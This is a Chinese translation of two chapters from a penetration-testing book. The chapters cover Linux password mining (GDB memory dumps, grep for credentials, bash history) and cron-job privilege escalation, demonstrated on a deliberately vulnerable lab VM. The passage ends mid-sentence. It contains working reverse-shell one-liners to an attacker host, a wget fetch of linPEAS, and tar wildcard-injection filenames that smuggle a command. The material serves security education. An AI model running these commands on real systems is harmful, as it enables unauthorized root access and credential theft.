权限维持技术(三)
原文:
annas-archive.org/md5/9805e2a1c16e127b366157a83eb2f43d译者:飞龙
第十一章:Linux 密码挖掘
现在,您已经了解了如何利用 Linux 上的内核漏洞提升权限,我们可以开始探索如何在 Linux 系统上搜索和识别本地存储的凭证。这个过程将涉及搜索可以直接提升我们权限的特定密码和应用程序凭证,而不需要使用任何漏洞。
本章将重点介绍可以用来查找和识别密码的各种工具和技术,这些密码将有助于我们获取提升后的会话。
我们将首先了解如何提取存储在内存中的密码和凭证,然后再看看如何在应用程序和操作系统配置文件中识别凭证。最后,我们将通过探索在历史文件中搜索和识别密码的过程来结束本章。
本章将涉及以下主要内容:
-
什么是密码挖掘?
-
从内存中提取密码
-
在配置文件中搜索密码
-
在历史文件中搜索密码
技术要求
为了跟随本章的演示,您需要确保熟悉 Linux 终端命令。
您可以在这里查看本章代码的实际演示:bit.ly/2Y3qA3w
什么是密码挖掘?
您应该已经熟悉密码挖掘过程及其重要性,因为我们在第七章《Windows 密码挖掘》中已经介绍过这一点;然而,在处理 Linux 系统时,这个过程有一些细微的差别。
密码挖掘是指在目标系统的持久或易失性内存中搜索和列举加密或明文密码的过程。这个过程的主要目标是识别潜在有用的用户账户和应用程序密码,这些密码可以扩大我们对目标系统的控制权,并可能为我们提供提升的权限。
由于 Linux 发行版和部署使用案例的性质,这个过程在不同的目标之间会有所不同。因此,了解 Linux 系统上密码(包括加密和明文密码)存储的位置和方式非常重要。
还需要理解,这一过程依赖于一系列漏洞,这些漏洞源自组织或个人的密码安全实践。密码安全实践不当是攻击者的主要目标,因为这些不当做法提供了一个直接的访问通道,无需进一步的系统利用或破坏。
由于各种平台和应用程序需要大量凭据,员工和个人往往会将凭据以明文形式保存在他们的系统中,通常是保存在 .doc、.txt 或 .xlsx 文件中以便于访问,并且很可能使用较弱的密码,这些密码由与他们相关的事件、名字或日期组成。这对组织的安全构成了重大威胁,因此,大多数组织会实施密码安全政策,以应对这些问题。密码安全政策用于为用户账户密码建立一个基本的安全级别,并强制要求以安全方式存储和使用由单词(包括大小写字母)、符号和数字组成的强密码,且推荐密码的最小长度为八位数字。然而,这也导致了密码重复使用的现象,员工和个人往往会对多个账户使用相同的密码,主要是因为他们需要使用的密码过于复杂。这使得攻击者可以通过破解一个账户的密码,获得多个账户的访问权限。
另一个额外的安全漏洞或风险涉及 Linux 用户账户密码及其存储方式。Linux 会加密并本地存储用户账户密码。在攻击者获得初步访问权限后,用户账户的哈希值可以从内存中转储,并且可以根据密码的长度和强度进行破解。我们将在本章稍后讨论这种技术的优缺点。
从组织的角度来看,Linux 还用于托管一些具有自身安全漏洞的第三方业务关键应用程序。大多数这些应用程序实现了某种形式的访问控制,因此需要通过用户名和密码组合进行用户身份验证。这些应用程序也容易将凭据以明文或加密格式本地存储。在成功利用这些漏洞后,攻击者可以定位这些凭据,解密它们(如果加密较弱),并用它们来访问应用程序,从而扩大对系统或网络的控制范围。
现在,您已经了解了什么是密码挖掘,我们可以看看如何设置我们的目标 虚拟机(VM),我们将在本书剩余的章节中使用它。
设置我们的环境
在本章中,我们将使用一个定制的 Debian 6 虚拟机(VM),该虚拟机已配置为易受攻击,并将为我们提供一个强大的环境,以便学习和演示密码挖掘过程。
要开始设置虚拟机,请按照接下来的步骤进行操作:
-
该过程的第一步是下载 VM 所需的开放虚拟化应用程序(OVA)文件,以便使用 VirtualBox 设置目标系统。可以通过以下链接下载 OVA 文件:
www.dropbox.com/s/e8anrvbxvqidw3w/Debian%206%2064-bit%20%28Workshop%29.ova?dl=0。 -
为了将 VM 导入 VirtualBox,你需要双击**Debian 6 64-bit(Workshop)**文件,如下面的截图所示:
图 11.1 – VM 文件
-
双击 OVA 文件后,你会看到如下面截图所示的 VirtualBox 导入向导:
图 11.2 – VirtualBox 导入向导
VirtualBox 导入向导会提示你指定 VM 的基础文件夹,如前面的截图所示。之后,你可以点击导入按钮开始导入过程。
-
将 VM 导入 VirtualBox 后,你需要将其添加到我们在本书第二章《设置我们的实验室》中创建的虚拟黑客实验室网络中,如下图所示:
图 11.3 – VirtualBox 网络设置
一旦你配置好 VM 使用自定义网络,可以保存更改并启动 VM,开始操作。
你需要在系统上获得初步的控制权限,才能跟随本章中的技术和演示。你可以通过安全外壳协议(SSH)使用以下凭证远程认证到目标系统,从而获得初步控制权限:用户名(user)和密码(password321)。
这些凭证将为你提供一个在目标系统上的无特权会话,我们可以利用该会话作为提升权限的起点。
从内存中提取密码
我们可以通过探索一种不常见的技术来开始密码挖掘过程,该技术可以从内存中提取应用程序密码。此技术的可行性和成功与否将取决于目标上运行的应用程序类型及其部署用例。
使用用户名和密码认证的应用程序和服务可能会将凭证存储在用户空间内存中,无论是以明文形式还是加密状态。通过转储和分析特定服务的内存,可能会揭示与应用程序相关的凭证。我们可以使用这些凭证来获得访问权限并控制该服务;另外,我们还可以使用发现的凭证进行其他用户帐户的认证,以提升我们的权限。这是因为许多用户和系统管理员倾向于为各种应用程序和用户帐户重复使用密码。
我们可以使用GNU 调试器(GDB)转储运行中的服务或应用程序的内存,以揭示明文或加密密码。
注意
GDB 是一个可移植的调试器,能够在各种类似 Unix 的系统上运行,并可用于调试各种编程语言。
这一技术需要一个程序化的方法,并且根据目标系统上运行的应用类型,不同系统之间会有所不同。
我们可以按照接下来概述的程序开始这个过程:
-
过程的第一步是识别目标系统上运行的服务,这些服务利用身份验证或可能曾用于与其他服务进行身份验证。可以通过在目标系统上运行以下命令来完成:
ps -ef该命令将列出系统上所有正在运行的服务及其对应的进程标识符(PID)。
如下图所示,我们可以识别出作为用户运行的各种服务:
图 11.4 – Bash 进程
我们也可以手动搜索可能会使用身份验证的特定服务。可以通过运行以下命令来完成:
ps -ef | grep <SERVICE_NAME>该命令利用
grep工具将结果限制为与关键字匹配的进程。如图 11.4所示,我们能够识别出一个 Bash 会话及其对应的 PID。
-
我们可以利用 GDB 转储
Bash服务的内存,以揭示可能在 Bash 会话中由其他用户输入的凭据。这可以通过在目标系统上运行以下命令来完成:gdb -p <PID>该命令用于指定你想要用 GDB 分析的特定 PID。在这种情况下,确保指定 Bash 服务的 PID,如图 11.4所示。
-
下一步是列出该进程的所有映射内存区域。可以通过在 GDB 中运行以下命令来完成:
info proc mappings如果成功,GDB 应该输出服务的映射地址空间,如下图所示:
图 11.5 – GDB 映射的地址空间
注意堆内存的起始和结束地址,如前面的截图所示,因为我们需要这些地址来转储服务的内存。
-
现在,我们可以通过指定堆分配的起始和结束地址来转储服务的内存。这可以通过在 GDB 中运行以下命令来完成:
dump memory <OUTPUT_FILE> <START_ADDRESS> <STOP_ADDRESS>该命令将把 Bash 服务的堆内存内容输出到一个可以进行分析的输出文件中。
注意
堆内存,也称为动态内存,是应用程序用来存储全局变量的。
-
在将 Bash 服务的内存转储到文件后,我们可以使用
strings工具来识别潜在有用的信息和凭据。可以通过在目标系统上运行以下命令来实现:strings /<OUTPUT_FILE> | grep passw此命令将识别输出文件中的所有字符串,并搜索任何出现的
passw关键字。如以下截图所示,我们能够识别到一个明确列出的 MySQL 身份验证命令,包括用户名和密码:
图 11.6 – 从内存中转储的 MySQL 凭据
我们现在可以使用这些凭据获得 MySQL 服务器的 root 访问权限,因为在身份验证命令中指定的凭据使用了 root 账户。然而,目标并没有运行 MySQL 服务器。
-
另外,如果 root 用户为其他服务重复使用密码,我们可以利用 MySQL 凭据尝试通过 SSH 获得对目标系统的 root 账户的访问权限。可以通过运行以下命令来实现:
ssh root@<TARGET-IP>如以下截图所示,使用 MySQL 凭据进行身份验证成功,您现在应该能够访问目标系统的 root 权限:
图 11.7 – 成功的 SSH 身份验证
我们现在已经能够成功通过转储和分析特定服务的内存来提升我们的权限。在这种情况下,我们能够访问系统上的 root 账户,主要原因是管理员或 root 用户的安全实践不当。以下的错误或不当的安全实践导致了我们成功提升权限:
-
管理员或 root 用户的密码重复使用。
-
MySQL 身份验证命令包含了用户名和密码。
这些错误是 Linux 服务器上的用户和系统管理员常犯的错误,必须始终进行测试,因为它们可能揭示出非常重要的信息,这些信息可以用来提升在目标系统上的权限。
现在,您已经了解了如何转储进程的内存以及如何查找和识别凭据,我们可以开始探索在配置文件中查找密码的过程。
在配置文件中查找密码
应用程序为攻击者提供了一个诱人的目标,因为其中的弱点和漏洞以及它存储凭据的方式可能导致整个系统被攻破或权限提升。
本节将重点介绍查找和列举应用程序凭据。本节演示的技术将取决于您处理的目标类型及其部署用例。在我们的特定案例中,我们的目标虚拟机被设置为服务器,并安装了各种应用程序。
该过程的第一步涉及在本地存储的各种文件中搜索密码;这将帮助我们识别文本或配置文件中的任何用户或应用程序密码。通过使用内置的 Linux 工具,可以在特定扩展名的文件中搜索特定的字符串来实现这一点。
搜索密码
我们可以按照接下来概述的程序开始密码搜索过程:
-
我们可以通过搜索包含密码的文件来开始。这可以通过利用
grep工具来完成,如下所示:grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null此命令将从文件系统根目录开始递归扫描,并输出包含
password关键字的文件列表,并根据需要对结果进行着色,如下图所示:图 11.8 – grep 结果
注意
建议交替使用
password关键字和其简写形式,如pass或passw。这是因为配置文件会以不同的名称存储凭证,并且可能会使用关键字的简写形式。该命令将输出大量数据,这可能使得识别任何有用凭证变得困难。因此,我们需要将搜索范围缩小到包含应用程序和服务的有用配置文件的特定目录。这可以通过运行以下命令来完成:
grep --color=auto -rnw '/etc' -ie "PASSWORD" --color=always 2> /dev/null此命令将把结果限制在
/etc目录中找到的配置文件,如下图所示:图 11.9 – 定制的 grep 搜索结果
在这种情况下,我们未能识别出任何有用的凭证,因此我们可以将注意力转向用户的主目录。
-
我们可以定制搜索关键字,确保通过使用
pass关键字而不是password,不会错过任何匹配项。这可以通过运行以下命令来完成:grep --color=auto -rnw '/home/user' -ie "PASS" --color=always 2> /dev/null此命令将输出用户帐户主目录中包含
pass关键字的所有文件列表,如下图所示:图 11.10 – 定制的 grep 搜索结果
在这种情况下,我们能够在用户帐户主目录中识别到一个包含 OpenVPN 凭证位置的 OpenVPN 配置文件。我们可以通过运行以下命令显示前面截图中高亮显示的文件内容:
cat /etc/openvpn/auth.txt此命令的输出如下所示:
图 11.11 – OpenVPN 凭据
显示文件内容时,我们可以看到用户帐户的凭据,但无法看到系统中任何其他帐户的凭据,如前面的截图所示。
如果我们事先不知道用户帐户的凭据,这将是有用的信息,因为我们将无需破解该帐户的密码哈希便能获取用户帐户的密码。
-
你还可以结合使用
find工具和grep工具,根据目标的配置进一步优化搜索。这可以通过运行以下命令来完成:find /etc -type f -exec grep -i -I "PASS" {} /dev/null \;这个命令将输出一个包含
pass关键字的/etc目录下的文件列表。在这种情况下,我们无法找到任何包含我们可以使用的凭据的新文件,如以下截图所示:
图 11.12 – 查找搜索结果
我们还可以通过运行以下命令,搜索包含
pass关键字的用户帐户主目录中的文件:find /home/user -type f -exec grep -i -I "PASS" {} /dev/null \;输出结果如图所示:
图 11.13 – 自定义查找搜索结果
在这种情况下,我们能够识别出一个包含用户帐户 IRC 凭据的互联网中继聊天(IRC)客户端配置文件;然而,我们无法找到任何其他可以用于特权提升的用户或应用程序凭据。
-
我们可以通过使用自动化枚举脚本来自动化这个过程。在这种情况下,我们将使用Linux 特权提升超级脚本(linPEAS)来自动化目标上的密码挖掘过程。
注意
linPEAS是一个本地 Linux 枚举脚本,用于搜索和扫描潜在的漏洞,并枚举所有可以用于进行特权提升攻击的重要系统信息。
linPEAS 二进制文件可以从 GitHub 仓库下载,链接如下:
github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
确保你下载了linpeas Bash 脚本,如以下截图所示:
图 11.14 – linPEAS Bash 脚本
在将 Bash 脚本下载到我们的 Kali 虚拟机后,我们需要将linpeas.sh文件传输到目标虚拟机。这不能自动完成,因为我们没有 meterpreter 会话。因此,我们需要使用 Linux 特定的工具来下载该二进制文件。
文件传输
为了将 linpeas.sh 文件传输到目标系统,我们需要在 Kali 虚拟机上设置一个 Web 服务器,用于托管该文件,以便我们可以在目标系统上下载它。可以按照此处概述的步骤进行操作:
-
为了在 Kali 虚拟机上设置 Web 服务器,我们可以使用
SimpleHTTPServerPython 模块来提供二进制文件。这可以通过在存储linpeas.sh二进制文件的目录中运行以下命令来完成:sudo python -m SimpleHTTPServer 80注意
SimpleHTTPServer是一个适用于 Python 2 的模块,也可以在 Python 3 中使用,名称为http.server。如下截图所示,
SimpleHTTPServer模块将在 Kali 虚拟机的Internet Protocol** (IP**) 地址的80端口上提供该目录中的文件:图 11.15 – SimpleHTTPServer linPEAS
-
为了将
linpeas.sh文件下载到目标系统,我们可以使用wget工具。然而,在下载二进制文件之前,我们需要导航到一个有读写权限的目录。在此,我们将导航到临时目录,如下截图所示:图 11.16 – Linux 临时目录
-
现在我们可以使用
wget工具从 Kali 虚拟机下载文件到目标系统。这可以通过在目标系统上运行以下命令来完成:wget http://<KALI-VM-IP>/linpeas.sh此命令的输出如下所示:
图 11.17 – 转移 linPEAS 脚本
如前面的截图所示,如果传输成功,
linpeas.sh文件应已下载并保存为我们指定的名称。 -
现在我们可以使用
linpeas.sh脚本来自动化密码挖掘过程。这可以通过运行linpeas.sh脚本来完成。然而,在此之前,我们需要确保脚本具有可执行权限。这可以通过在目标系统上运行以下命令来完成:chmod +x linpeas.sh -
我们现在可以通过在目标系统上运行以下命令来运行
linpeas.sh脚本:./linpeas.sh此命令将枚举并输出与特权提升相关的所有系统信息。在此,我们只对包含凭证的文件感兴趣。
在这种情况下,我们能够通过手动技术识别我们之前找到的 IRC 客户端凭证,具体如下截图所示:
图 11.18 – IRC 客户端密码
我们还能够识别 OpenVPN 用户凭证,如下截图所示:
图 11.19 – OpenVPN 凭证
linpeas.sh脚本没有显示系统本地存储的其他凭据或密码。因此,我们将不得不将搜索范围缩小到可能包含潜在有用信息的特定文件。
我们对密码和凭据的搜索并没有取得成果,因为我们无法找到任何可以让我们进一步提升权限的凭据。然而,我们只能找到user账户的凭据。
过程中的下一步将涉及在目标系统的历史文件中搜索密码。
在历史文件中搜索密码
运行 Linux 的一个优势是用户可以获得大量的日志记录。默认情况下,Linux 会自动记录用户在系统上输入的所有 Bash 命令,除非另有规定。这对系统管理员来说是一个优势,因为它提供了一个问责制系统,用户的所有操作和命令都被记录下来,并可以进行历史分析;然而,如果配置不正确,攻击者可以利用这个功能来搜索并识别来自用户输入命令的各种历史文件中的重要信息,如凭据。
公司和组织通过禁用用户命令历史记录来减轻这种固有的配置漏洞。或者,他们也可以在用户完成会话后强制删除这些日志。然而,在许多情况下,Linux 系统上的用户可能会忘记清除他们的历史记录,因此,攻击者可以筛选用户的历史记录,以寻找潜在有用信息。
通过各种技术搜索和识别本地存储的凭据的步骤如下:
-
这个过程的第一步涉及分析
user账户的 Bash 历史文件。bash_history文件记录了用户在 Bash 会话中输入的所有命令,并且默认位于用户的主目录中。我们可以利用cat实用程序与grep实用程序结合使用来显示文件的内容,并将输出限制为仅显示与关键字匹配的命令。可以通过运行以下命令来实现:cat /home/user/.bash_history | grep "pass"这个命令将输出用户过去输入的包含
pass关键字的命令列表,旨在识别可能已经输入的任何凭据,如下截图所示:图 11.20 – 分析 Bash 历史
如前面的截图所示,我们能够识别一个包含明文指定用户名和密码的本地 MySQL 服务器的认证命令。
注意
bash_history文件用于存储特定用户的命令历史记录。bash_history文件可以在用户的主目录中的.bashrc配置文件中进行配置。 -
我们可以利用这些凭据进行 MySQL 服务器身份验证;然而,服务器在此时似乎没有运行 MySQL 服务。然而,如果发生密码重用,我们也可以使用这些凭据对 root 账户进行身份验证。
这可以通过从当前用户切换到
root用户,并指定我们在前述截图中识别的凭据来完成,如下所示:su root如下图所示,使用 MySQL 凭据进行身份验证成功,我们已经成功地将我们的权限提升到了目标系统的最高级别:
图 11.21 – 成功的权限提升
-
或者,我们还可以使用
history命令在目标系统上输出用户之前输入的所有命令历史记录。可以通过运行以下命令实现:history如下图所示,我们能够识别出使用明文指定的凭据对 MySQL 服务器的身份验证尝试。我们还能够识别出可能包含有助于提升我们在目标系统上权限的有用信息的潜在文件,如下图所示:
图 11.22 – 分析命令历史记录
在这种情况下,我们可以利用 MySQL 凭据将我们的权限提升到最高级别,作为 root 用户,就像我们之前所做的那样。
通过多种技术搜索并识别本地存储的凭据,我们已经成功地提升了我们的权限。
总结
本章开始时,我们了解了如何通过 GDB 从内存中提取应用程序密码。然后,我们深入研究了如何手动和自动地搜索和识别配置文件中的密码。最后,我们通过查看特定用户的 bash_history 文件,了解了如何查找密码。
现在我们已经学会了如何通过查找 Linux 系统中本地存储的密码来提升权限,我们可以开始探索其他 Linux 权限提升途径。
在下一章中,我们将探讨通过配置错误的计划任务提升权限的过程。
第十二章:计划任务
Linux 上最重要的权限提升向量之一是利用配置错误的计划任务,也就是 cron 任务。本章将专注于枚举目标系统上运行的计划任务,分析这些任务的配置错误,并利用这些错误提升我们的权限。
我们将从本章开始,首先了解 Linux 如何通过 cron 实现计划任务,然后我们将看看如何通过 cron 路径提升权限。接下来,我们将探讨如何利用 cron 通配符来提升权限,最后我们将研究通过 cron 文件覆盖提升权限的过程。
在本章中,我们将涵盖以下主要内容:
-
Cron 任务介绍
-
通过 cron 路径提升权限
-
通过 cron 通配符提升权限
-
通过 cron 文件覆盖提升权限
技术要求
要跟随本章中的演示,你需要确保你熟悉 Linux 终端命令。
你可以在这里查看本章代码的实际演示:bit.ly/3F3747S
Cron 任务介绍
在操作系统上安排任务的能力是一个至关重要的功能,它可以提高在系统上执行任务的效率,从而提高负责管理和维护系统的个人效率。在通常面向普通终端用户的桌面操作系统中,这一功能可能不会完全实现或被重视,但在 Linux 系统中,尤其是作为服务器操作系统使用时,能够自动化并安排某些重复任务(如系统备份)是非常受欢迎的,且被系统管理员和工程师广泛实施。
Linux 通过一个名为 cron 的工具实现任务调度。Cron 是一个基于时间的服务,用于根据指定的时间表重复运行应用程序、脚本和其他命令。
配置为通过 cron 定期运行的应用程序或脚本被称为 cron 任务。Cron 可以用来自动化或重复系统上的多种功能,从每日备份到系统升级和补丁安装。
Cron 允许你在选择的时间周期性地运行程序、脚本或命令。这些 cron 任务随后会存储在 crontab 文件中。
crontab 文件是一个配置文件,由 cron 工具用于存储和跟踪已创建的 cron 任务。
现在你已经了解了 cron 的功能,我们来看看 cron 任务是如何存储在 crontab 文件中的。
Crontab 文件
你可以通过在目标系统上运行以下命令来列出正在运行的 cron 任务:
crontab
或者,如果您当前登录的用户没有使用crontab命令的必要权限,您还可以通过运行以下命令手动显示crontab文件的内容:
cat /etc/crontab
如下图所示,这将输出所有活动的 cron 作业列表,以及它们各自的调度、应用程序、脚本或命令。
图 12.1 – crontab 文件内容
要理解我们如何利用 cron 作业来提升权限,我们需要了解crontab文件的结构以及 cron 作业的调度是如何配置的。
这可以通过一个简单的示例来实现。以下截图中突出显示的crontab条目安排命令在每小时的第 17 分钟反复运行:
图 12.2 – Cron 作业示例
cron 作业条目开头的前五个字段用于指定调度时间。这些字段用于指定以下值:
-
分钟(0 – 59):用于指定 cron 作业应运行的具体分钟。
-
小时(0 – 23):用于指定 cron 作业应运行的具体小时。
-
日期(1 – 31):用于指定 cron 作业应运行的具体日期。
-
月份(1 – 12):用于指定 cron 作业应运行的月份。
-
星期几(0 – 7):用于指定 cron 作业应运行的星期几。
正如您可能注意到的,某些字段的值为星号(*****),这意味着 cron 作业将运行在所有小时、日期、周和月份,除非另有指定。在这种情况下,cron 作业将在每小时、每天、每月以及每周的第 17 分钟运行:
图 12.3 – Cron 作业语法
上面的截图概述了 cron 作业的语法以及可以自定义的各种字段,用于配置 cron 作业的调度。
Cron 作业也可以作为系统中的任何用户运行。这是一个非常重要的因素,因为我们将关注那些被配置为以 root 用户身份运行的 cron 作业。主要原因是,任何由 cron 作业运行的脚本或命令都将作为 root 用户运行,因此为我们提供 root 访问权限。
现在您已经了解了 cron 作业是如何工作的以及如何配置它们,我们可以开始分析它们的配置错误,从而提升我们的权限。
在本章中,我们将使用我们在 第十一章 中设置的虚拟机,Linux 密码挖掘。这是因为该虚拟机已配置为易受攻击,并且有各种 cron 任务可以用来演示不同的权限提升技术。
通过 cron 路径提升权限
我们将探索的第一个权限提升技术是利用配置不当的 cron 路径。然而,在我们开始这一过程之前,让我们快速了解一下在目标系统上访问 crontab 文件的各种方法。
我们需要这样做的原因是,因为我们会遇到已经配置不同且可以访问 crontab 文件的系统,因此枚举系统上运行的 cron 任务在权限提升过程中至关重要。
如前节所示,您可以通过运行以下命令访问目标系统上的 crontab 文件:
crontab
如果管理员已限制对该工具的访问,则此命令可能不会返回任何结果。然而,您可以使用以下命令来枚举系统中活动的 cron 任务信息:
crontab -l
ls -alh /var/spool/cron;
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny*
访问此处列出的文件和目录应该能够提供有关系统中活动的 cron 任务的信息。
使用 linPEAS 进行枚举
我们还可以使用自动化工具枚举系统上运行的各种 cron 任务。这可以通过使用 linux-exploit-suggester 或其他枚举脚本和工具来完成。在本例中,我们将使用 linPEAS 脚本来枚举目标系统的信息。
注意
linPEAS 是一个本地 Linux 枚举脚本,用于搜索和扫描潜在的漏洞,并枚举所有可以用于进行权限提升攻击的系统重要信息。
linPEAS 二进制文件可以从以下 GitHub 仓库下载:github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS。
确保下载 linpeas.sh Bash 脚本,如下图所示:
图 12.4 – linPEAS Bash 脚本
下载 Bash 脚本到我们的 Kali 虚拟机后,我们需要将 linpeas.sh 文件传输到目标虚拟机。这不能自动完成,因为我们没有 Meterpreter 会话。因此,我们需要使用特定于 Linux 的实用程序来下载该二进制文件。
文件传输
要将linpeas.sh文件传输到目标系统,我们需要在 Kali VM 上设置一个 Web 服务器来托管该文件。这将允许我们在目标系统上下载该文件。可以按照以下步骤操作:
-
要在 Kali VM 上设置 Web 服务器,我们可以利用
SimpleHTTPServerPython 模块来提供该二进制文件。可以通过在存储linpeas.sh二进制文件的目录中运行以下命令来完成此操作:sudo python -m SimpleHTTPServer 80注意
SimpleHTTPServer是一个适用于 Python 2 的 Python 模块,Python 3 中也有可用的http.server模块。如下图所示,
SimpleHTTPServer模块将会在 Kali VM 的 IP 地址上通过端口80提供该目录中的文件:图 12.5 – SimpleHTTPServer linpeas
-
要在目标系统上下载
linpeas.sh文件,我们可以利用wget工具。然而,在下载二进制文件之前,我们需要导航到一个具有读写权限的目录。在这种情况下,我们将导航到临时目录,如下图所示:图 12.6 – Linux 临时目录
-
现在我们可以使用
wget工具将文件从 Kali VM 下载到我们的目标系统。可以通过在目标系统上运行以下命令来完成此操作:wget http://<KALI-VM-IP>/linpeas.sh输出如下截图所示:
图 12.7 – wget linPEAS
如前面的截图所示,如果传输成功,linpeas.sh文件应已下载并保存为我们指定的文件名。
我们现在可以使用linpeas.sh脚本来列举目标系统上运行的各种 cron 作业。
使用 linPEAS 查找 cron 作业
linpeas.sh脚本列举了大量信息,并执行各种检查以发现目标系统上的潜在漏洞。我们可以使用linpeas.sh脚本列举并定位系统上运行的 cron 作业。可以按照以下步骤进行:
-
要列举所有重要的系统信息,我们需要运行
linpeas.sh脚本。然而,在此之前,我们需要确保脚本具有可执行权限。可以通过在目标上运行以下命令来完成此操作:chmod +x linpeas.sh或者,你可以通过运行以下命令修改
linpeas.sh脚本的权限:chmod 775 linpeas.sh -
现在我们可以通过在目标上运行以下命令来执行
linpeas.sh脚本:bash linpeas.sh如下图所示,脚本将列举系统信息并显示系统上运行的 cron 作业列表,以及默认的
$PATH变量:
图 12.8 – linPEAS cron 作业
在这种情况下,我们的目标正在以 root 用户身份运行两个 cron 作业,这些作业已配置为每 1 分钟运行一次。我们可以利用这些信息来识别在 cron 作业执行的脚本和命令中可能存在的特定配置错误。
现在我们已经能够列出目标系统上运行的各种 cron 作业,我们可以开始权限提升过程。
通过 cron 路径提升权限
这种特定的权限提升技术涉及识别为 cron 作业在 crontab 文件中配置的默认 $PATH 变量,生成有效负载,并将其放入路径中:
图 12.9 – PATH 变量
注意
$PATH 变量用于设置 cron 作业运行的默认路径,除非另有指定。
如前述截图所示,$PATH 变量已被设置为 user 账户的主目录。这意味着,默认情况下,所有的 cron 作业将从 user 账户的主目录运行,除非另有指定。
这可以被理解为一种配置错误,因为 user 账户可以访问 cron 作业使用的文件和脚本。我们可以通过识别利用存储在 user 账户主目录中的脚本或二进制文件的 cron 作业来利用这一配置错误。
分析 crontab 文件揭示了一个有趣的 cron 作业,该作业以 root 用户身份运行一个名为 overwrite.sh 的 Bash 脚本:
图 12.10 – 覆盖 cron 作业
如前述截图所示,cron 作业还已配置为每小时的每一分钟、每天、每月都执行一次。
现在我们已经识别出一个符合要求的 cron 作业,我们可以开始权限提升过程:
-
这个过程的第一步是定位并识别 cron 作业运行的
overwrite.sh脚本的位置。我们已经能够确定 cron 作业使用的默认路径是user账户的主目录。我们可以通过运行以下命令来显示该目录的内容:ls -al /home/user/输出如下:
图 12.11 – 用户主目录
如前述截图所示,我们无法在
user主目录中找到overwrite.sh脚本。这可能是因为root用户尚未创建该脚本。无论如何,我们可以自行创建该脚本,并通过 cron 作业以 root 用户身份执行该脚本,从而为我们提供反向 shell。 -
我们可以创建
overwrite.sh脚本,并插入一个 Bash 命令,为我们提供反向 shell。可以通过在user主目录中运行以下命令来实现:echo "bash -i >& /dev/tcp/<KALI-IP>/<PORT> 0>&1" > overwrite.sh该命令将添加一个
bash命令,连接到我们在 Kali Linux 虚拟机上的反向监听器。确保替换命令中的字段,填写相应的 IP 地址和端口号。在运行上述命令后,
overwrite.sh文件应该已经创建,并且它应包含以下截图所示的命令:图 12.12 – 覆盖文件
一旦我们创建了这个文件,我们需要使用 Netcat 设置一个反向监听器。
-
我们可以通过运行以下命令在 Kali 虚拟机上设置反向监听器:
nc -nvlp <PORT>确保指定在
overwrite.sh脚本中使用的端口。设置监听器后,我们需要等待几分钟,直到 cron 任务运行。一旦 cron 任务被调用,
overwrite.sh脚本将被执行。我们应该能在我们的监听器上获得一个带有 root 权限的反向 shell,如下图所示:
图 12.13 – 反向 shell
通过这种方式,我们成功地通过利用 crontab $PATH 变量中的配置错误提升了权限。这使我们能够执行一个自定义命令,从而在目标系统上获得一个提升的反向 shell。
通过 cron 通配符进行权限提升
该权限提升技巧涉及利用执行带有通配符的命令或脚本的 cron 任务。在 Linux 环境中,通配符(*****)用于一次执行多个操作,并且可以以多种不同方式使用。在本节中,我们将探讨如何在配置错误的情况下利用这些通配符来执行恶意命令或脚本。
重要提示
请注意,这一技巧的成功与否取决于 cron 任务中是否使用了通配符。
按照以下步骤操作:
-
这个过程的第一步是识别那些执行带有通配符的命令或脚本的 cron 任务。分析
crontab文件时,发现了一个有趣的 cron 任务,负责创建和压缩备份归档文件:图 12.14 – 备份 cron 任务
如上截图所示,cron 任务以 root 用户身份每分钟运行一次
/usr/local/bin目录下的compress.sh脚本,并且每天、每小时、每月都会运行。 -
我们可以通过运行以下命令来显示
compress.sh脚本的内容:cat /usr/local/bin/compress.sh输出如下:
图 12.15 – 显示 compress.sh 脚本的内容
如前面截图所示,我们可以确认脚本是从用户帐户的主目录执行的,且文件已使用
tar工具进行压缩。然而,我们还可以发现tar命令的末尾有一个通配符(*)。这个通配符用于指定用户帐户主目录中的所有文件。 -
tar工具具有一个检查点功能,用于在特定文件集之后显示进度消息。它还允许用户定义在检查点期间执行的特定操作。我们可以利用此功能来执行一个反向 Shell 负载,在执行时为我们提供一个提升的会话。 -
我们可以创建反向 Shell 脚本,并插入一个
bash命令,它将为我们提供反向 Shell。可以通过在用户的主目录中运行以下命令来实现:echo 'bash -i >& /dev/tcp/<KALI-IP>/<PORT> 0>&1' > shell.sh该命令将添加一个
bash命令,它将连接到我们在 Kali Linux 虚拟机上的反向监听器。确保在命令中替换相应的 IP 地址和端口号。运行上述命令后,应该已经创建了
shell.sh文件,并且文件中应包含以下截图所示的命令:](Images/B17389_12_016.jpg)
图 12.16 – Shell 脚本
现在我们已经创建了文件,需要使用 Netcat 设置反向监听器。
-
我们可以通过运行以下命令在 Kali 虚拟机上设置反向监听器:
nc -nvlp <PORT>确保在
shell.sh脚本中指定你使用的端口。 -
现在我们可以在用户帐户的主目录中设置
tar检查点。这可以通过在目标系统上运行以下命令来实现:touch /home/user/--checkpoint=1 -
设置好检查点后,我们需要设置检查点操作。在此案例中,我们的检查点操作将执行
shell.sh脚本,它将为我们提供一个提升的反向 Shell。可以通过运行以下命令来实现:touch /home/user/--checkpoint-action=exec=sh\ shell.sh设置好
tar检查点和检查点操作后,我们需要等待几分钟,直到 cron 作业被触发,此时我们应该会在 Netcat 监听器上收到一个提升的反向 Shell,如下图所示:
](Images/B17389_12_017.jpg)
图 12.17 – 反向 Shell
通过利用 cron 作业中错误使用通配符来执行反向 Shell 负载作为 root 用户,我们成功地提升了特权。
现在,让我们看看如何通过 cron 文件覆盖提升我们的特权。
通过 cron 文件覆盖进行特权提升
另一项我们可以利用的技术是覆盖 cron 作业使用的脚本内容来提升权限。在前面的章节中,我们探讨了如何利用错误配置的路径和使用通配符。然而,我们没有探讨如何通过覆盖脚本或文件的内容来提升权限。
注
这项技术的成功与可行性将取决于我们是否拥有修改或更改由 cron 作业执行的脚本或文件的必要权限。
这项技术可以通过以下步骤执行:
-
该过程的第一步是识别一个以 root 用户身份执行具有读写权限的脚本或二进制文件的 cron 作业。在这种情况下,我们可以识别一个运行
overwrite.sh脚本的 cron 作业,如下图所示:图 12.18 – 覆盖 cron 作业
我们在本章第二节中讨论了如何利用这个特定的 cron 作业,通过 cron 路径提升权限,在该节中,我们利用了错误配置的路径,允许我们创建一个自定义的
